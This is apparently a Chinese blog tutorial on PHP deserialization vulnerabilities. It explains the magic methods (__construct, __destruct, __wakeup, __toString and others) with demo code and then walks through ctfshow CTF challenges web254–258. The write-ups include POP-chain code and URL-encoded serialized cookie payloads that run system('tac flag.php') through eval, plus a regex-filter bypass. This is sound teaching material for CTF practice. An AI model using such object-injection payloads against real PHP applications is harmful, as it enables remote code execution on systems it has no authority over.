当前位置: 首页 > article >正文

php反序列化 触发的魔术方法 原理 pop链构造 ctfshow 练习

前言

序列化和反序列化  是一种数据的传输方式 就如同 我们的主机的运输  我们为了方便会把主机的配件进行 拆分分类 (序列化) 运输到需要的人的那里他在组装起来(反序列) 这样的目的就是为了减少 空间的占用 

php的反序列化漏洞的成因就是因为 序列化之后的数据 在服务器被反序列化之前 数据被窃取伪造为 pop链 导致 反序列化执行了一些恶意的被篡改的数据

魔术方法的演示

魔术方法:准备工作函数 :程序运行的时候需要进行初始化  清除缓存 警告提醒等操作都需要他来执行

1、__construct  属性的初始化 (当属性在这里被初始化或者调用就会触发)

当construct内的属性被调用就会触发

2、__destruct   这个魔术方法是清除缓存(数据) 当程序运行结束(属性释放)或者程序员主动的清除的时候就会触发


在文末进行输出一个 一句话看看 这个des是在哪里进行输出的

是在程序结束的末尾

3、__sleep   :在外部调用serialize的时候  我们可以指定要序列化的内容

看一下一般的序列化的格式:

<?php
header("Content-type: text/html; charset=utf-8");


class users{
    public $name='xiaodi';
    public $sex='man';
    public $age=31;
}

$demo=new users();

$s=serialize($demo);//序列化

// $u=unserialize($s);//反序列化

echo $s.'<br>';

如果我们不sleep指定就会序列化所有的内容

4、__wakeup   : 这个是sleep的反义词 用法也是反的在反序列化执前  进行反的内容可以由他指定 或者会直接触发

// __wakeup:反序列化恢复对象之前调用该方法
class Test{
   public $sex;
   public $name;
   public $age;

   public function __construct($name, $age, $sex){
       echo "__construct被调用!<br>";
   }

   public function __wakeup(){
       echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
   }
}

$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);

5、__INVOKE():把对象当做函数来执行的时候会触发这个函数

// __INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
class Test{
   // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
   public function __invoke($param1, $param2, $param3)
{
       echo "这是一个对象<br>";
       var_dump($param1,$param2,$param3);
   }
}

$a  = new Test();   //常规因该是 new Test('属性')
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi',31,'男');          

6、__toString   : 对象被当做字符串处理的时候就会触发(目的是防止 对象被当做字符串执行)

// __toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
class Test
{
   public $variable = 'good is string';

   public function good(){
       echo $this->variable . '<br />';
   }

   // 在对象当做字符串的时候会被调用
   public function __toString(){
       return '__toString魔术方法被执行!';
   }
}

$a = new Test();
//$a->good();
//输出调用
echo $a;

7、__Call 魔术方法 : 当被调用的函数(方法)存在时就会被调用   不存在就会调用  call内的方法

class Test{

   public function good($number,$string){
       echo '存在good方法'.'<br>';
       echo $number.'---------'.$string.'<br>';
   }

   // 当调用类中不存在的方法时,就会调用__call();
   public function __call($method,$args){
       echo '不存在'.$method.'方法'.'<br>';
       var_dump($args);   //输出new对象的参数
   }
}

$a = new Test();
$a->good(1,'xiaodisec');
// 不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');   //xiaodi方法不存在,触发__call魔术方法

8、__get方法 : 读取对象属性存在的时候就会返回属性的值   当属性不存在的时候就会返回 get内的值

// __get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
class Test {
   public $n=1233234;

   // __get():访问不存在的成员变量时调用
   public function __get($name){
       echo '__get 不存在成员变量'.$name.'<br>';
   }
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->xiaodi;

这里有个小知识点  就是php类定义中   我们要想获取我们输入的属性  需要使用$name进行获取

还有如果是方法的话就需要使用 $method

9、__set : 当调用的属性不存在或者是被设置为私有的时候  就会被调用  主要还是私有变量的调用使用的多

举个例子就是 你访问我的私有变量我会给你设置一个其他的值 

// __set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
class Test{
   public $noway=0;
   private $id=123;

   // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
   /* __set($name, $value)
    * 用来为私有成员属性设置的值
    * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
    * */

   public function __set($name,$value){
       echo '__set 不存在成员变量 '.$name.'<br>';
       echo '即将设置的值 '.$value."<br>";
       $this->noway=$value;
   }

   public function Get(){
       echo $this->noway;
   }
}

$a = new Test();
// 访问noway属性时调用,并设置值为899
$a->noway  = 111;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
$a->id = 456;
// 访问不存在的属性时调用__set方法,并设置值为31
// 经过__set方法的设置noway的值为31
$a->Get();

反序列化漏洞产生的原理

这个漏洞黑盒是没有的大多数都是白盒代码审计  审计出来的

利用:

只要我们能拿到序列化的代码我们就能进行数据的修改

很多时候都是配合代码执行的

ctfshow练习

web入门

web254

一看是长篇代码  :审计长篇代码 需要的步骤1、先找输出的结果 2、再找结果触发的条件

第一题纯代码审计 找逻辑

<?php 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){   //但是这个只是函数的引用,并没有实现功能
        if($this->isVip){         //这里判断是否是vip
            global $flag;
            echo "your flag is ".$flag;   //这个是结果  输出flag
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){  
        //登录验证  login方法登录成功的要求是 isVip=true  的前提条件是用户名和密码正确
        if($user->checkVip()){ //判断是否是vip 这个就是对上边的二次验证
            $user->vipOneKeyGetFlag();  //方法的使用  
            //所以得出 结论 两层验证   需要先输入正确的账号密码  之后就会触发 login 从而是 isVip=true  之后才会触发 vipOneKeyGetFlag 输出flag
        }
    }else{
        echo "no vip,no flag";
    }
}
?>

先把需要的地方保留把不需要的删除  就是长代码审计最好的方法

最后的结果是    ?username=xxxxxx & password=xxxxxx

web255

这个题目就涉及到简单的pop链的构造   pop链 :我的理解就是获取触发 序列化的函数  然后进行修改使其反序列化的时候 触发的效果是我们想要的

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;  //修改为 true  这样就能触发 checkVip 方法  输出flag


    // public function login($u,$p){
    //     return $this->username===$u&&$this->password===$p;
    //     //这里直接返回布尔值  而不再设置 isVip=true  不设置vip=true 下边就无法触发 checkVip 方法 从而无法输出flag  那就需要我们更改 pop链了那就需要我们更改 pop链了   //把多余的都删除掉  只留下我们需要的username和password
    // }
}
$xxx=new ctfShowUser();
$a=serialize($xxx);
echo $a;

?>

pop链构造的特点就是 把多余的摘除 然后 余下需要修改的和需要调用的

那就直接在因为cookie传入的东西是需要url解码的所以我们把特殊符号等进行编码

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

把这个写入到 usr  结果就出来了

web256

复制源码

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22xx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

pop链构造

主要删除的时候不要把  __construct()删除了   因为这个是声明 对象的

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    
    private $class;

    public function __construct() {
        // 初始化 $class 属性为 backDoor 类的对象
        $this->class = new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$xxx=new ctfShowUser();
$a=serialize($xxx);
echo $a."<br>";
echo urlencode($a);

运行获取 序列化

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

web258

\d表示数字 :   数字    +(表示匹配前一个字符) :   就是表示user不能以  o:数字  加  c:数字 的形式

但是我们知道  数字可以使用 +  进行拼接

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

这里有个注意点就是  如果你想利用 con  就需要把 de删除掉  并且创建ctfshow的对象   相反你如果使用 De就需要把con删除调用back对象


http://www.kler.cn/a/468862.html

相关文章:

  • Directx12 chapter4
  • 解决 IntelliJ IDEA 中 Tomcat 日志乱码问题的详细指南
  • 【动态重建】时间高斯分层的长体积视频
  • 君正T41交叉编译ffmpeg、opencv并做h264软解,利用君正SDK做h264硬件编码
  • OSPF - 影响OSPF邻居建立的因素
  • 简述Linux的信号处理
  • UML之发现用例
  • 【Blackbox Exporter】prober.Handler源码详细分析
  • 缓存-文章目录
  • Qt 5.14.2 学习记录 —— 일 新项目
  • python:多线程 简单示例
  • 毛泽东思想概论
  • 【Docker】docker启动命令,不执行特定程序,但是让容器保持启动
  • 微信小程序几种数据通信方式记录
  • C++基础概念复习
  • Prism模块化
  • 华为交换机---自动备份配置到指定ftp/sftp服务器
  • 数仓相关数据读后感
  • 【C++】B2101 计算矩阵边缘元素之和
  • Ubuntu挂载云盘操作步骤
  • 关于 webservice 日志中 源IP是node IP的问题,是否能解决换成 真实的客户端IP呢
  • [深度学习] 大模型学习1-大语言模型基础知识
  • 桌面开发 的变量声明(Variable Declaration)核心知识
  • SpringCloud系列教程:微服务的未来(八)项目部署、DockerCompose
  • Dockerfile进行详细的介绍
  • IDEA 编辑器自动识别 Dockerfile 类型高亮和语法提示